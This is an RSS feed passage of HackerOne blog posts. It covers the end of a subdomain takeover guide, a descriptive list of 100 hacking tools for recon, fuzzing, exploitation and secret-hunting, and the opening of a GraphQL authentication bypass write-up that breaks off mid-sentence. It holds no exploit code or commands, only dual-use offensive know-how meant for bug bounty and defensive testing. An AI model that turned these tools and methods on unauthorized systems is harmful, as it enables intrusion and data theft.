Unless the bug bounty program states they are interested in receiving potential subdomain takeovers, it is best advised to hold on reporting these findings until the takeover can be reliably demonstrated. There are many instances where subdomains&nbsp;<em>appear</em> to be vulnerable, but aren't. The best way to know for sure is to just try it. Program owners don't have time to research each potential subdomain takeover without a proof of concept.</p><p dir="ltr">Another area of contention is keeping a copy of the proof of concept page on the Wayback Machine. I have been informed this practice is not always appreciated by bug bounty programs and is best avoided.</p><h2>Conclusion</h2><p dir="ltr">Subdomain takeovers are still a big deal, even after six years. We have covered the basics of identifying vulnerable subdomains, explored tools like Nuclei for automation, and highlighted real-world examples like GoHire and Okta. With these insights, you are better equipped to tackle subdomain takeovers in the wild. Happy hunting and safe hacking!</p><p dir="ltr"><a href="https://edoverflow.com/" target="_blank">@EdOverflow</a></p>
      
            
                                                                                <a href="https://www.hackerone.com/blog/community" hreflang="en">Researcher Community</a>
                    
    
            <p dir="ltr">Six years after my initial version of "A Guide To Subdomain Takeovers" was published, I am excited to share further insights and developments from the world of subdomain takeovers. Much has happened since then: I have resumed competitive swimming, completed a university degree, and my hair has started thinning. However, one thing remains unchanged: subdomain takeovers are just as relevant as they were six years ago.</p><p dir="ltr">The aim of this blog post is to provide a general understanding of subdomain misconfigurations, supplemented with up-to-date resources and tools. This article assumes that readers have a basic understanding of the Domain Name System (DNS) and know how to set up a subdomain.</p>
      ]]></description>
  <pubDate>Wed, 25 Sep 2024 18:02:44 +0000</pubDate>
    <dc:creator>h1_admin</dc:creator>
    <guid isPermaLink="false">5425 at https://www.hackerone.com</guid>
    </item>
<item>
  <title>100 Hacking Tools and Resources</title>
  <link>https://www.hackerone.com/blog/100-hacking-tools-and-resources</link>
  <description><![CDATA[<span class="field field--name-title field--type-string field--label-hidden">100 Hacking Tools and Resources</span>
    



    
        Dane Sherrets
        
            Chief Executive Officer
      
    


    



    
        Aditya Soni
        
            Principal Hacker Research &amp; Development, Community
      
    


    



    
        Shlomie Liberow
        
            Principal Hacker Research &amp; Development, Community
      
    


<span class="field field--name-uid field--type-entity-reference field--label-hidden"><span>h1_admin</span></span>
<span class="field field--name-created field--type-created field--label-hidden">Thu, 05/28/2020 - 13:18
</span>

            
  
      
  
    Image
                



          

  

      
            August 20th, 2024

      
            <h2>Web Proxy</h2><ol><li dir="ltr"><a href="https://portswigger.net/burp" target="_blank">Burp Suite</a>: The quintessential web app hacking tool. Once you hit 500 reputation on HackerOne, you are eligible for a free 3-month license of Burp Suite Pro! Check out these awesome Burp plugins:</li><li dir="ltr"><a href="https://portswigger.net/bappstore/3123d5b5f25c4128894d97ea1acc4976" target="_blank">ActiveScan++</a>: ActiveScan++ extends Burp Suite's active and passive scanning capabilities. Designed to add minimal network overhead, it identifies application behavior that may be of interest to advanced testers.</li><li dir="ltr"><a href="https://github.com/nccgroup/AutoRepeater" target="_blank">Autorepeater Burp</a>: Automated HTTP request repeating with Burp Suite.&nbsp;</li><li dir="ltr"><a href="https://portswigger.net/bappstore/f9bbac8c4acf4aefa4d7dc92a991af2f" target="_blank">Autorize Burp</a>: Autorize is an extension aimed at helping the penetration tester to detect authorization vulnerabilities—one of the more time-consuming tasks in a web application penetration test.</li><li dir="ltr"><a href="https://github.com/PortSwigger/js-link-finder" target="_blank">js-link finder</a>: a Burp extension for passive scanning JS files for endpoint links</li><li dir="ltr"><a href="https://portswigger.net/bappstore/ee1c45f4cc084304b2af4b7e92c0a49d" target="_blank">Flow</a>: This extension provides a Proxy history-like view along with search filter capabilities for all Burp tools.</li><li dir="ltr"><a href="https://portswigger.net/bappstore/470b7057b86f41c396a97903377f3d81" target="_blank">Logger++</a>: Logger++ is a multi-threaded logging extension for Burp Suite. In addition to logging requests and responses from all Burp Suite tools, the extension allows advanced filters to be defined to highlight interesting entries or filter logs to only those which match the filter.</li><li dir="ltr"><a href="https://portswigger.net/bappstore/ef2f3f1a593d417987bb2ddded760aee" target="_blank">WSDL Wizard</a>: This extension scans a target server for WSDL files. After performing normal mapping of an application's content, right click on the relevant target in the site map, and choose "Scan for WSDL files" from the context menu. The extension will search the already discovered contents for URLs with the .wsdl file extension, and guess the locations of any additional WSDL files based on the file names known to be in use. The results of the scanning appear within the extension's output tab in the Burp Extender tool.</li><li dir="ltr"><a href="http://caido.io" target="_blank">Caido.io</a>: A competitor to Burp Suite</li></ol><h2>Web Hacking Tools</h2><ol start="10"><li dir="ltr"><a href="https://github.com/BishopFox/jsluice" target="_blank">Jsluice</a>:<strong>&nbsp;</strong>jsluice is a Go package and command-line tool for extracting URLs, paths, secrets, and other interesting data from JavaScript source code.<strong>&nbsp;</strong>.</li><li dir="ltr"><a href="https://github.com/nahamsec/lazys3" target="_blank">lazys3</a>: A Ruby script to brute-force for AWS s3 buckets using different permutations.</li><li dir="ltr"><a href="https://github.com/tomdev/teh_s3_bucketeers" target="_blank">Teh_s3_bucketeers</a>: Teh_s3_bucketeers is a security tool to discover S3 buckets on Amazon's AWS platform.&nbsp;</li><li dir="ltr"><a href="https://github.com/jobertabma/virtual-host-discovery" target="_blank">Virtual-host-discovery</a>: This is a basic HTTP scanner that enumerates virtual hosts on a given IP address. During recon, this might help expand the target by detecting old or deprecated code. It may also reveal hidden hosts that are statically mapped in the developer's /etc/hosts file.</li><li dir="ltr"><a href="https://github.com/wpscanteam/wpscan" target="_blank">Wpscan</a>: WPScan is a free (for non-commercial use) black box WordPress security scanner written for security professionals and bloggers to test the security of their sites.</li><li dir="ltr"><a href="https://github.com/maaaaz/webscreenshot" target="_blank">Webscreenshot</a>: A simple script to screenshot a list of websites, based on the url-to-image PhantomJS script.</li><li dir="ltr"><a href="https://www.ultratools.com/tools/asnInfo" target="_blank">Asnlookup</a>: The ASN Information tool displays information about an IP address's Autonomous System Number (ASN), such as: IP owner, registration date, issuing registrar and the max range of the AS with total IPs.</li><li dir="ltr"><a href="https://github.com/tomnomnom/unfurl" target="_blank">Unfurl</a>: Unfurl enables hackers to programmatically parse a txt file of domains and pull out content based on a given criteria (e.g., unique domains, params, keys, etc.).&nbsp;</li><li dir="ltr"><a href="https://github.com/tomnomnom/waybackurls" target="_blank">Waybackurls</a>: Accept line-delimited domains on stdin, fetch known URLs from the Wayback Machine for *.domain and output them on stdout.</li><li dir="ltr"><a href="https://github.com/tomnomnom/httprobe" target="_blank">Httprobe</a>: Takes a list of domains and probes for working http and https servers.</li><li dir="ltr"><a href="https://github.com/tomnomnom/meg" target="_blank">Meg</a>: Meg is a tool for fetching lots of URLs without taking a toll on the servers. It can be used to fetch many paths for many hosts, or fetching a single path for all hosts before moving on to the next path and repeating.</li><li dir="ltr"><a href="https://github.com/lc/gau" target="_blank">Gau</a>: getallurls (gau) fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain. Inspired by Tomnomnom's waybackurls.</li><li dir="ltr"><a href="https://github.com/ffuf/ffuf" target="_blank">Ffuf</a>: A fast web fuzzer written in Go.</li><li dir="ltr"><a href="https://github.com/maurosoria/dirsearch" target="_blank">Dirsearch</a>: a simple command line tool designed to brute force directories and files in websites.</li><li dir="ltr"><a href="https://www.zaproxy.org/" target="_blank">OWASP Zed</a>: OWASP Zed Attack Proxy (ZAP) is an open source tool which is offered by OWASP (Open Web Application Security Project), for penetration testing of your website/web application. It helps you find the security vulnerabilities in your application.</li><li dir="ltr"><a href="https://github.com/projectdiscovery/subfinder" target="_blank">Subfinder</a>: subfinder is a subdomain discovery tool that discovers valid subdomains for websites by using passive online sources. It has a simple modular architecture and is optimized for speed. subfinder is built for doing one thing only - passive subdomain enumeration, and it does that very well.</li><li dir="ltr"><a href="https://github.com/FortyNorthSecurity/EyeWitness" target="_blank">EyeWitnees</a>: EyeWitness is designed to take screenshots of websites, provide some server header info, and identify any default credentials. EyeWitness is designed to run on Kali Linux. It will auto detect the file you give it with the -f flag as either being a text file with URLs on each new line, nmap xml output, or nessus xml output. The --timeout flag is completely optional, and lets you provide the max time to wait when trying to render and screenshot a web page.</li><li dir="ltr"><a href="https://github.com/projectdiscovery/nuclei" target="_blank">Nuclei</a>: Nuclei is a fast tool for configurable targeted scanning based on templates offering massive extensibility and ease of use.</li><li dir="ltr"><a href="https://github.com/projectdiscovery/naabu" target="_blank">Naabu</a>: naabu is a port scanning tool written in Go that allows you to enumerate valid ports for hosts in a fast and reliable manner. It is a really simple tool that does fast SYN scans on the host/list of hosts and lists all ports that return a reply.</li><li dir="ltr"><a href="https://github.com/projectdiscovery/shuffledns" target="_blank">Shuffledns</a>: shuffleDNS is a wrapper around massdns written in go that allows you to enumerate valid subdomains using active bruteforce, as well as resolve subdomains with wildcard handling and easy input-output support.</li><li dir="ltr"><a href="https://github.com/projectdiscovery/dnsprobe" target="_blank">Dnsprobe</a>: DNSProbe is a tool built on top of retryabledns that allows you to perform multiple dns queries of your choice with a list of user-supplied resolvers.</li><li dir="ltr"><a href="https://chaos.projectdiscovery.io" target="_blank">Chaos</a> - Chaos actively scans and maintains internet-wide assets' data. This project is meant to enhance research and analyze changes around DNS for better insights.</li><li dir="ltr"><a href="https://github.com/haccer/subjack" target="_blank">Subjack</a>: Subjack is a Subdomain Takeover tool written in Go designed to scan a list of subdomains concurrently and identify ones that are able to be hijacked. With Go's speed and efficiency, this tool really stands out when it comes to mass-testing. Always double-check the results manually to rule out false positives.</li><li dir="ltr"><a href="https://github.com/hisxo/gitGraber" target="_blank">gitGraber</a>: gitGraber is a tool developed in Python3 to monitor GitHub to search and find sensitive data in real time for different online services.</li><li dir="ltr"><a href="https://github.com/eth0izzle/shhgit" target="_blank">Shhgit</a>: Shhgit finds secrets and sensitive files across GitHub code and Gists committed in nearly real-time by listening to the GitHub Events API.</li><li dir="ltr"><a href="https://github.com/x1sec/commit-stream" target="_blank">Commit-stream</a>: Commit-stream extracts commit logs from the Github event API,&nbsp; exposing the author details (name and email address) associated with Github repositories in real time.</li><li dir="ltr"><a href="https://github.com/robertdavidgraham/masscan" target="_blank">Masscan</a>: This is an Internet-scale port scanner. It can scan the entire Internet in under 6 minutes, transmitting 10 million packets per second, all from a single machine.</li><li dir="ltr"><a href="https://github.com/blechschmidt/massdns" target="_blank">Massdns</a>: MassDNS is a simple high-performance DNS stub resolver targeting those who seek to resolve a massive amount of domain names in the order of millions or even billions. Without special configuration, MassDNS is capable of resolving over 350,000 names per second using publicly available resolvers.</li><li dir="ltr"><a href="https://github.com/Edu4rdSHL/findomain" target="_blank">Findomain</a>: Findomain offers a dedicated monitoring service hosted in Amazon (only the local version is free), that allows you to monitor your target domains and send alerts to Discord and Slack webhooks or Telegram chats when new subdomains are found.</li><li dir="ltr"><a href="https://github.com/OWASP/Amass" target="_blank">Amass</a>: The OWASP Amass Project performs network mapping of attack surfaces and external asset discovery using open source information gathering and active reconnaissance techniques.</li><li dir="ltr"><a href="https://github.com/ProjectAnte/dnsgen" target="_blank">Dnsgen</a>: This tool generates a combination of domain names from the provided input. Combinations are created based on wordlist. Custom words are extracted per execution.</li><li dir="ltr"><a href="https://github.com/erbbysam/DNSGrep" target="_blank">Dngrep</a>: A utility for quickly searching presorted DNS names. Built around the Rapid7 rdns &amp; fdns dataset.</li><li dir="ltr"><a href="https://github.com/xmendez/wfuzz" target="_blank">Wfuzz</a>: Wfuzz has been created to facilitate the task in web applications assessments and it is based on a simple concept: it replaces any reference to the FUZZ keyword by the value of a given payload.</li><li dir="ltr"><a href="https://github.com/sensepost/gowitness" target="_blank">Gowitness</a>: gowitness is a website screenshot utility written in Golang, that uses Chrome Headless to generate screenshots of web interfaces using the command line, with a handy report viewer to process results. Both Linux and macOS is supported, with Windows support mostly working.</li><li dir="ltr"><a href="https://github.com/urbanadventurer/WhatWeb" target="_blank">Whatweb</a>: WhatWeb recognizes web technologies including content management systems (CMS), blogging platforms, statistic/analytics packages, JavaScript libraries, web servers, and embedded devices. WhatWeb has over 1800 plugins, each to recognize something different. WhatWeb also identifies version numbers, email addresses, account IDs, web framework modules, SQL errors, and more.</li><li dir="ltr"><a href="https://github.com/v0re/dirb" target="_blank">Dirb</a>: ‘DIRB is a web content scanner. It launches a dictionary-based attack against a web server and analyzes the response.&nbsp;</li><li dir="ltr"><a href="https://github.com/rbsec/dnscan" target="_blank">Dnscan</a>:&nbsp; dnscan is a python wordlist-based DNS subdomain scanner</li><li dir="ltr"><a href="https://github.com/yassineaboukir/sublert" target="_blank">Sublert</a>: Sublert is a security and reconnaissance tool that was written in Python to leverage certificate transparency for the sole purpose of monitoring new subdomains deployed by specific organizations and an issued TLS/SSL certificate. The tool is supposed to be scheduled to run periodically at fixed times, dates, or intervals (Ideally each day). New identified subdomains will be sent to Slack workspace with a notification push. Furthermore, the tool performs DNS resolution to determine working subdomains.</li><li dir="ltr"><a href="https://github.com/lanmaster53/recon-ng" target="_blank">Recon-ng</a>: Recon-ng is a full-featured reconnaissance framework designed with the goal of providing a powerful environment to conduct open source, web-based reconnaissance quickly and thoroughly.</li><li dir="ltr"><a href="https://hub.docker.com/r/koutto/jok3r/" target="_blank">Jok3r</a>: Jok3r is a framework that helps penetration testers with network infrastructure and web security assessments. Its goal is to automate as much as possible in order to quickly identify and exploit "low-hanging fruit" and "quick win" vulnerabilities on most common TCP/UDP services and most common web technologies (servers, CMS, languages...).</li><li dir="ltr"><a href="https://www.owasp.org/index.php/Category:OWASP_DirBuster_Project" target="_blank">DirBuster</a>:&nbsp;This tool is a multi-threaded java application that is used to perform brute force over directories and file names on web and application servers. DirBuster attempts to find hidden directories and pages within a web application, providing users with an additional attack vector.</li><li dir="ltr"><a href="https://github.com/infosec-au/altdns" target="_blank">Altdns</a>:&nbsp; Altdns is a DNS recon tool that allows for the discovery of subdomains that conform to patterns. Altdns takes in words that could be present in subdomains under a domain (such as test, dev, staging), as well as a list of known subdomains.</li><li dir="ltr"><a href="https://github.com/nahamsec/recon_profile" target="_blank">Recon_profile</a>: This tool is to help create easy aliases to run via an SSH/terminal.&nbsp;&nbsp;</li><li dir="ltr"><a href="https://github.com/nahamsec/bbht" target="_blank">BBHT</a>: Bug Bounty Hunting Tools is a script to install the most popular tools used while looking for vulnerabilities for a bug bounty program.</li><li dir="ltr"><a href="https://github.com/projectdiscovery/katana" target="_blank">projectdiscovery/katana</a>: A next-generation crawling and spidering framework.</li><li dir="ltr"><a href="https://www.google.com/url?q=https://github.com/tomnomnom/hacks/tree/master/webpaste&amp;sa=D&amp;source=docs&amp;ust=1724190651427062&amp;usg=AOvVaw3RhEI0uWRWjSI4-ecxkXAx" target="_blank">tomnomnom/hacks</a></li></ol><h2>Mobile Hacking Tools</h2><ol start="56"><li dir="ltr"><a href="https://github.com/MobSF/Mobile-Security-Framework-MobSF" target="_blank">MobSF</a>: Mobile Security Framework (MobSF) is an automated, all-in-one mobile application (Android/iOS/Windows) pen-testing, malware analysis and security assessment framework capable of performing static and dynamic analysis.</li><li dir="ltr"><a href="https://github.com/skylot/jadx" target="_blank">Jadx</a>: Jadx is a dex to Java decompiler. The command line and GUI tools for producing Java source code from Android Dex and Apk files.&nbsp;</li><li dir="ltr"><a href="https://github.com/pxb1988/dex2jar" target="_blank">Dex2Jar</a>: Dex2Jar is a freely available tool to work with Android “. dex” and Java “. class” files.&nbsp;</li><li dir="ltr"><a href="https://rada.re/n/" target="_blank">Radare2</a>: A free/libre toolchain for easing several low level tasks, such as forensics, software reverse engineering, exploiting, debugging, etc. It is composed by a large number of libraries (which are extended with plugins) and programs that can be automated with almost any programming language.</li><li dir="ltr"><a href="https://www.genymotion.com/" target="_blank">Genymotion:</a> Cross-platform Android emulator for developers &amp; QA engineers. Develop &amp; automate your tests to deliver best quality apps.</li><li dir="ltr"><a href="https://gist.github.com/teknogeek/4dc35fb3801bd7f13e5f0da5b784c725" target="_blank">Frida "Universal" SSL Unpinner&nbsp;</a></li><li dir="ltr"><a href="https://frida.re" target="_blank">Frida</a>: Dynamic instrumentation toolkit for developers, reverse-engineers, and security researchers.</li></ol><h2>Exploitation Tools</h2><ol start="63"><li dir="ltr"><a href="http://sqlninja.sourceforge.net/" target="_blank">SQLNinja</a>: Sqlninja is a tool targeted to exploit SQL Injection vulnerabilities on a web application that uses Microsoft SQL Server as its back-end.</li><li dir="ltr"><a href="https://github.com/codingo/NoSQLMap" target="_blank">NoSQLMap</a>: NoSQLMap is an open source Python tool designed to audit for, as well as automate injection attacks, and exploit default configuration weaknesses in NoSQL databases and web applications using NoSQL to disclose or clone data from the database.&nbsp;</li><li dir="ltr"><a href="https://github.com/frohoff/ysoserial" target="_blank">Ysoserial</a>: A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.&nbsp;</li><li dir="ltr"><a href="https://github.com/sqlmapproject/sqlmap" target="_blank">Sqlmap</a>: sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester, and a broad range of switches including: database fingerprinting, over data fetching from the database, accessing the underlying file system, and executing commands on the operating system via out-of-band connections.</li><li dir="ltr"><a href="https://github.com/daeken/SSRFTest" target="_blank">SSRFTest</a>:&nbsp;SSRF testing tool.</li><li dir="ltr"><a href="https://github.com/smicallef/spiderfoot">Spiderfoot</a>: SpiderFoot is an open source intelligence (OSINT) automation tool. It integrates with just about every data source available, and automates OSINT collection so that you can focus on data analysis.</li></ol><h2>Scanners/Frameworks</h2><ol start="69"><li dir="ltr"><a href="https://www.openvas.org/" target="_blank">OpenVAS</a>: OpenVAS is a full-featured vulnerability scanner. Its capabilities include unauthenticated testing, authenticated testing, various high level and low level Internet and industrial protocols, performance tuning for large-scale scans and a powerful internal programming language to implement any type of vulnerability test.</li><li dir="ltr"><a href="https://cirt.net/Nikto2" target="_blank">Nikto</a>: Nikto is an Open Source (GPL) web server scanner which performs comprehensive tests against web servers for multiple items, including over 6700 potentially dangerous files/programs, checks for outdated versions of over 1250 servers, and version specific problems on over 270 servers.</li><li dir="ltr"><a href="https://wapiti.sourceforge.io/" target="_blank">Wapiti</a>: Wapiti allows you to audit the security of your websites or web applications. It performs "black-box" scans (it does not study the source code) of the web application by crawling the web pages of the deployed webapp, looking for scripts and forms where it can inject data.</li><li dir="ltr"><a href="https://www.metasploit.com/" target="_blank">Metasploit</a>: Metasploit is an open source penetration testing framework.</li><li dir="ltr"><a href="https://www.maltego.com/" target="_blank">Maltego</a>: Maltego is an open source intelligence (OSINT) and graphical link analysis tool for gathering and connecting information for investigative tasks.</li><li dir="ltr"><a href="https://www.immunityinc.com/products/canvas/" target="_blank">Canvas</a>: CANVAS offers hundreds of exploits, an automated exploitation system, and a comprehensive, reliable exploit development framework to penetration testers and security professionals worldwide.</li><li dir="ltr"><a href="https://github.com/1N3/Sn1per" target="_blank">Sn1per</a>: Sn1per Community Edition is an automated scanner that can be used during a penetration test to enumerate and scan for vulnerabilities. Sn1per Professional is Xero Security's premium reporting addon for Professional Penetration Testers, Bug Bounty Researchers and Corporate Security teams to manage large environments and pentest scopes.</li><li dir="ltr"><a href="https://github.com/nahamsec/lazyrecon" target="_blank">Lazyrecon</a>: LazyRecon is a script written in Bash, intended to automate the tedious tasks of reconnaissance and information gathering. The information is organized in an html report at the end, which helps you identify next steps.</li><li dir="ltr"><a href="https://github.com/j3ssie/Osmedeus" target="_blank">Osmedeus</a>: Osmedeus allows you to automatically run the collection of awesome tools for reconnaissance and vulnerability scanning against the target.</li><li dir="ltr"><a href="https://github.com/pry0cc/axiom" target="_blank">pry0cc/axiom</a>: a tool that distributes the workload of many different scanning tools with ease, including nmap, ffuf, masscan, nuclei, meg and many more.&nbsp;</li><li dir="ltr"><a href="https://github.com/reconness/reconness" target="_blank">Reconness</a>: ReconNess helps you to run and keep all your #recon in the same place allowing you to focus only on the potentially vulnerable targets without distraction and without requiring a lot of bash skill, or programming skill in general.</li><li dir="ltr"><a href="https://resources.infosecinstitute.com/ironwasp-part-1-2/" target="_blank">IronWASP</a>:&nbsp;IronWASP (Iron Web Application Advanced Security testing Platform) is an open source tool used for web application vulnerability testing. It is designed in such a way that users having the right knowledge can create their own scanners using this as a framework. IronWASP is built using Python and Ruby and users having knowledge of them would be able to make full use of the platform. However, IronWASP provides a lot of features that are simple to understand.</li><li dir="ltr"><a href="https://nmap.org/" target="_blank">Nmap</a>: Nmap ("Network Mapper") is a free and open source (license) utility for network discovery and security auditing.</li></ol><h2>Datasets / Freemium Services&nbsp;</h2><ol start="82"><li dir="ltr"><a href="https://www.shodan.io/" target="_blank">Shodan</a>: Shodan provides a public API that allows other tools to access all of Shodan's data. Integrations are available for Nmap, Metasploit, Maltego, FOCA, Chrome, Firefox and many more.</li><li dir="ltr"><a href="https://censys.io/" target="_blank">Censys</a>: Censys scans the most ports and houses the biggest certificate database in the world, and provides the most up-to-date,&nbsp; thorough view of your known and unknown assets.</li><li dir="ltr"><a href="https://opendata.rapid7.com/sonar.fdns_v2/" target="_blank">Rapid7 Forward DNS (FDNS)</a>: This dataset contains the responses to DNS requests for all forward DNS names known by Rapid7's Project Sonar.</li><li dir="ltr"><a href="https://api.c99.nl/" target="_blank">C99.nl</a>: C99.nl is a scanner that scans an entire domain to find as many subdomains as possible.</li><li dir="ltr"><a href="https://github.com/danielmiessler/SecLists" target="_blank">Seclists</a>: SecLists is the security tester's companion. It's a collection of multiple types of lists used during security assessments, collected in one place. List types include usernames, passwords, URLs, sensitive data patterns, fuzzing payloads, web shells, and many more. The goal is to enable a security tester to pull this repository onto a new testing box and have access to every type of list that may be needed.</li><li dir="ltr"><a href="https://github.com/swisskyrepo/PayloadsAllTheThings" target="_blank">Payloads All The Things</a>: A list of useful payloads and bypasses for Web Application Security. Feel free to improve with your payloads and techniques.&nbsp;</li></ol><h2>AI Hacking Tools</h2><ol start="88"><li dir="ltr"><a href="https://chatgpt.com/" target="_blank">ChatGPT:</a> Since its launch, ChatGPT has helped hackers generate lists for brute forcing, helped them write code, and opened up a new attack vector for hackers to protect against.</li><li dir="ltr"><a href="https://github.com/Azure/PyRIT" target="_blank">Azure/PyRIT</a>: The Python Risk Identification Tool for generative AI (PyRIT) is an open access automation framework to empower security professionals and machine learning engineers to proactively find risks in their generative AI systems.</li><li dir="ltr"><a href="https://chatgpt.com/g/g-HTsfg2w2z-arcanum-cyber-security-bot" target="_blank">Arcanum Cyber Security Bot</a>: Arcanum Appsec Bot’s primary goal is to aid ethical security testers. It will use up-to-date research and dive deep into technical topics. Use it as a conversation buddy during assessments or when learning assessment technology.</li></ol><h2>Miscellaneous Hacking Tools</h2><ol start="91"><li dir="ltr"><a href="https://www.ettercap-project.org/" target="_blank">Ettercap</a>: Ettercap is a comprehensive suite which features sniffing of live connections, content filtering, and support for active and passive dissection of many protocols, including multiple features for network and host analysis.</li><li dir="ltr"><a href="https://transformations.jobertabma.nl/" target="_blank">Transformations</a>: Transformations makes it easier to detect common data obscurities, which may uncover security vulnerabilities or give insight into bypassing defenses.&nbsp;</li><li dir="ltr"><a href="https://www.openwall.com/john/" target="_blank">John the Ripper</a>: John the Ripper is free and Open Source software, distributed primarily in a source code form.</li><li dir="ltr"><a href="https://www.wireshark.org/" target="_blank">Wireshark</a>: Wireshark® is a network protocol analyzer that lets you capture and interactively browse the traffic running on a computer network.&nbsp;&nbsp;</li><li dir="ltr"><a href="https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/" target="_blank">Foxyproxy</a>: FoxyProxy is an advanced proxy management tool that completely replaces Firefox's limited proxying capabilities. For a simpler tool and less advanced configuration options, please use FoxyProxy Basic.</li><li dir="ltr"><a href="https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/" target="_blank">Wappalyzer</a>: Wappalyzer is a browser extension that uncovers the technologies used on websites. It detects content management systems, eCommerce platforms, web servers, JavaScript frameworks, analytics tools and many more.</li><li dir="ltr"><a href="https://addons.mozilla.org/en-US/firefox/addon/builtwith/" target="_blank">Buildwith</a>: BuiltWith's goal is to help developers, researchers and designers find out what technologies web pages are using, which may help them decide what technologies to implement themselves.</li><li dir="ltr"><a href="https://altair.sirmuel.design/" target="_blank">Altair</a>: Altair GraphQL Client helps you debug GraphQL queries and implementations - taking care of the hard part so you can focus on actually getting things done.</li><li dir="ltr"><a href="https://gchq.github.io/CyberChef/" target="_blank">CyberChef</a>: A simple, intuitive web app for analysing and decoding data without having to deal with complex tools or programming languages</li><li dir="ltr"><a href="https://github.com/ehrishirajsharma/SwiftnessX" target="_blank">Swiftness X</a>: A note taking tool for BB and pentesting.</li></ol>
      
            
                                                                                <a href="https://www.hackerone.com/blog/community" hreflang="en">Researcher Community</a>
                    
    
            <p>Whether you’ve just started hacking or are a real pro, we’ve updated our list of 100 hacking tools for your toolkit!&nbsp;</p>
      ]]></description>
  <pubDate>Thu, 28 May 2020 18:18:09 +0000</pubDate>
    <dc:creator>h1_admin</dc:creator>
    <guid isPermaLink="false">4963 at https://www.hackerone.com</guid>
    </item>
<item>
  <title>How a GraphQL Bug Resulted in Authentication Bypass</title>
  <link>https://www.hackerone.com/blog/how-graphql-bug-resulted-authentication-bypass</link>
  <description><![CDATA[<span class="field field--name-title field--type-string field--label-hidden">How a GraphQL Bug Resulted in Authentication Bypass</span>
    



    
        Haoxi Tan
        
            Security Researcher
      
    


<span class="field field--name-uid field--type-entity-reference field--label-hidden"><span>h1_admin</span></span>
<span class="field field--name-created field--type-created field--label-hidden">Mon, 07/29/2024 - 15:44
</span>

            
  
      
  
    Image
                



          

  

      
            July 29th, 2024

      
            <h2>What Is an Authentication Bypass Vulnerability?</h2><p dir="ltr">An authentication bypass vulnerability is a weakness in a system that fails to protect against unauthenticated access, allowing an attacker to bypass authentication entirely. There are many different attack vectors and vulnerabilities that lead to authentication bypass, such as SQL injection, insecure account recovery flows, or insecure use of cookies, but ultimately the impact is the same.</p><p dir="ltr">In this particular instance, the authentication bypass was enabled by an alternate channel: a GraphQL API with little to no access control, which exposed user creation and modification functionality.</p><h2>Business Impact of Authentication Bypass</h2><p dir="ltr">The business impact of authentication bypass is typically severe. Depending on the level of access the vulnerability allows one to gain access without authentication, sensitive data could be accessed and manipulated without any accountable audit trail as to who performed them.&nbsp;</p><p dir="ltr">In the context of the bug discussed in this post, the impact would depend on how this promotional banner was implemented (via iframes or direct script loading). A malicious attacker may have abused this vulnerability to commit financial fraud, carry out social engineering attacks, redirect users to a different site, steal customer PII (Personally Identifiable Information), or deface the website, leading to financial, reputational, and regulatory consequences for the business.</p><h2>Details: The Bug Report</h2><p dir="ltr">The main e-commerce website had a promotion banner managed from a third-party integration, hosted on a separate subdomain but embedded on the main website. The third-party application had a GraphQL endpoint on which introspection was enabled, allowing full enumeration of all its endpoints and capabilities.</p><p dir="ltr"><br>GraphQL introspection is a useful feature in development that exposes underlying schema via a query. This includes information such as the nodes and fields, their data types, and the queries and mutations that can be performed. It's also very helpful to any potential attackers, as it allows them to thoroughly enumerate your GraphQL database and potentially perform dangerous actions.</p><p dir="ltr"><em>An example introspection query fired from GraphQL Playground</em></p><p dir="ltr">A "mutation" is the GraphQL term for an operation that changes the "graph" (the underlying data). In this case, a mutation called&nbsp;Register was found by the researcher, and used to register a user account. Sensitive actions such as user registration should only be called from a backend, from a registration page well protected with measures such as anti-bot reCAPTCHA and email verification. Enabling a registration functionality from an API is not only dangerous to the application, but in this case, allows more sensitive actions to be taken in the GraphQL endpoint.</p><p dir="ltr"><br>Finally, after finding and calling the&nbsp;CreateAdminUser mutation, the researcher was able to access even more functionality of the API, including modification of the banner content and details about the promotional products.</p><h2>How Hackers Find Authentication Bypass Via GraphQL</h2><p dir="ltr">GraphQL is a very popular technology, and it's not uncommon to see it in use even if it's not&nbsp;<a href="https://hackerone.com/opportunities/all/search?tech=GraphQL&amp;ordering=Newest+programs" target="_blank">tagged as a technology you can filter programs by</a> on HackerOne. So how and why do hackers find GraphQL Authentication Bypass vulnerabilities?</p><blockquote><p dir="ltr"><strong>Q: What is it about GraphQL that makes you want to test it?</strong></p><p dir="ltr">J. Francisco Bolivar: Being a bug hunter I am always on the lookout for new technologies that have not yet received much scrutiny from the security community. GraphQL, a newer API design paradigm, stands out because of its unique approach to data retrieval and queries. [...] This capability also creates potential vulnerabilities such as DoS attacks through expensive queries or schema exposing introspection queries. Furthermore, since GraphQL is not as mature or widespread as REST, many implementations may lack robust security measures. Consequently, there exists a vast space for discovering unknown security flaws. My intention in testing GraphQL is to identify these gaps and contribute towards hardening this promising technology’s overall security posture.</p></blockquote><p dir="ltr">&nbsp;</p><blockquote><p dir="ltr"><strong>Q: Immediately after you realize that GraphQL is being used, what's your next step?</strong></p><p dir="ltr">J. Francisco Bolivar: Once I realize that GraphQL is being used, my next step involves a series of reconnaissance and analysis actions to understand the structure, capabilities, and potential security weaknesses of the GraphQL implementation, Some of the steps I use to apply are:</p><ul><li dir="ltr"><strong>Schema Introspection:&nbsp;</strong>Retrieve and examine the GraphQL schema, to grasp structure, types, queries, and mutations.</li><li dir="ltr"><strong>Sensitive Data Analysis:</strong> Looking for all sensitive fields that it might handle.</li><li dir="ltr">Query Complexity Testing: We want to make sure that the query complexity of our server is within certain limits and that its depth does not reach too deep so as to prevent potential resource exhausting attacks.</li><li dir="ltr"><strong>Authorization Checks:&nbsp;</strong>Try to access restricted data or carry out unauthorized operations to find out if there are any high-level authorization bypasses.</li><li dir="ltr">Input Validation Testing: Test input validation by sending crafted payloads that have been hand-crafted to fit the bill.</li><li dir="ltr"><strong>Error Message Analysis</strong>: Analyze error responses from Web Services in order to find out what kind of information leaks about the underlying infrastructure there may be.</li><li dir="ltr"><strong>Subscription Testing:</strong> If subscriptions are allowed, test for potential data leakage or unauthorized access while Real-Time data transmission is in use.</li></ul></blockquote><p dir="ltr">As Francisco Bolivar said, once the hacker finds the GraphQL endpoint, the first step is to enumerate any GraphQL endpoints for information about its schema. Note that queries can be sent both in the form of GET or POST requests. In a GET request, the query would be in a 